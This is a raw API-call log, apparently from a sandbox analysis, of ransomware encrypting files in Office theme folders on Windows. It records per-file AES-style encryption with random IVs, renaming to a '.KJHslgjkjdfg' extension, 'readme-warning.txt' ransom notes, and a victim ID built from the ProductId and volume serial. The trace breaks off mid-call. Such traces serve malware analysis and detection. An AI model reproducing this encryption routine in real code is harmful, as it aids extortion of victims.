[0188.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0188.688] CloseHandle (hObject=0x12c) returned 1 [0188.688] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0188.688] GetProcessHeap () returned 0x2ef0000 [0188.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.688] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.688] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0188.688] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.688] GetProcessHeap () returned 0x2ef0000 [0188.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0188.688] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.688] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0188.688] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.688] GetProcessHeap () returned 0x2ef0000 [0188.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0188.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.689] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0188.689] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.689] GetProcessHeap () returned 0x2ef0000 [0188.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0188.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.689] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0188.689] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.689] GetProcessHeap () returned 0x2ef0000 [0188.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.689] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0188.689] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.689] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0188.689] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0188.689] RegCloseKey (hKey=0x12c) returned 0x0 [0188.689] GetProcessHeap () returned 0x2ef0000 [0188.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0188.689] GetProcessHeap () returned 0x2ef0000 [0188.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.689] GetProcessHeap () returned 0x2ef0000 [0188.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.690] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0188.690] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.690] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0188.690] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0188.690] GetProcessHeap () returned 0x2ef0000 [0188.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.690] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0188.690] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0188.690] GetProcessHeap () returned 0x2ef0000 [0188.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0188.690] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt") returned 78 [0188.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.691] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0188.692] CloseHandle (hObject=0x12c) returned 1 [0188.692] GetProcessHeap () returned 0x2ef0000 [0188.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0188.692] GetProcessHeap () returned 0x2ef0000 [0188.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0188.692] GetProcessHeap () returned 0x2ef0000 [0188.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0188.692] GetProcessHeap () returned 0x2ef0000 [0188.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.692] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0188.693] GetProcessHeap () returned 0x2ef0000 [0188.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0188.693] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0188.693] GetProcessHeap () returned 0x2ef0000 [0188.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0188.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0188.694] GetProcessHeap () returned 0x2ef0000 [0188.694] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0188.694] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0188.694] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0188.695] GetProcessHeap () returned 0x2ef0000 [0188.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f10788 [0188.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.696] GetProcessHeap () returned 0x2ef0000 [0188.696] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.696] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.696] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0188.698] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.698] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.698] GetProcessHeap () returned 0x2ef0000 [0188.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.698] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.698] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.698] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.698] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.698] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.698] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.698] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.698] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.699] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.699] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x3f1, lpOverlapped=0x0) returned 1 [0188.699] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x400, dwBufLen=0x400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x400) returned 1 [0188.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.699] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x400, lpOverlapped=0x0) returned 1 [0188.699] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.699] SetEndOfFile (hFile=0x12c) returned 1 [0188.700] GetProcessHeap () returned 0x2ef0000 [0188.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.700] GetProcessHeap () returned 0x2ef0000 [0188.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.kjhslgjkjdfg")) returned 1 [0188.701] CloseHandle (hObject=0x12c) returned 1 [0188.701] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0188.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.702] GetProcessHeap () returned 0x2ef0000 [0188.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.702] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.702] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.702] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.702] GetProcessHeap () returned 0x2ef0000 [0188.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.702] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.702] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.702] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.704] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.704] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.704] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.704] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.704] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.704] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.704] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.704] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.704] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x14c40, lpOverlapped=0x0) returned 1 [0188.707] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x14c40, dwBufLen=0x14c40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x14c40) returned 1 [0188.708] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.708] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x14c40, lpOverlapped=0x0) returned 1 [0188.708] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.708] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.708] SetEndOfFile (hFile=0x12c) returned 1 [0188.711] GetProcessHeap () returned 0x2ef0000 [0188.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.711] GetProcessHeap () returned 0x2ef0000 [0188.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.kjhslgjkjdfg")) returned 1 [0188.721] CloseHandle (hObject=0x12c) returned 1 [0188.722] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0188.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.723] GetProcessHeap () returned 0x2ef0000 [0188.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.723] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.723] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.723] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0188.725] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.725] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.725] GetProcessHeap () returned 0x2ef0000 [0188.725] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.725] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.725] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.725] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.725] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.726] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, 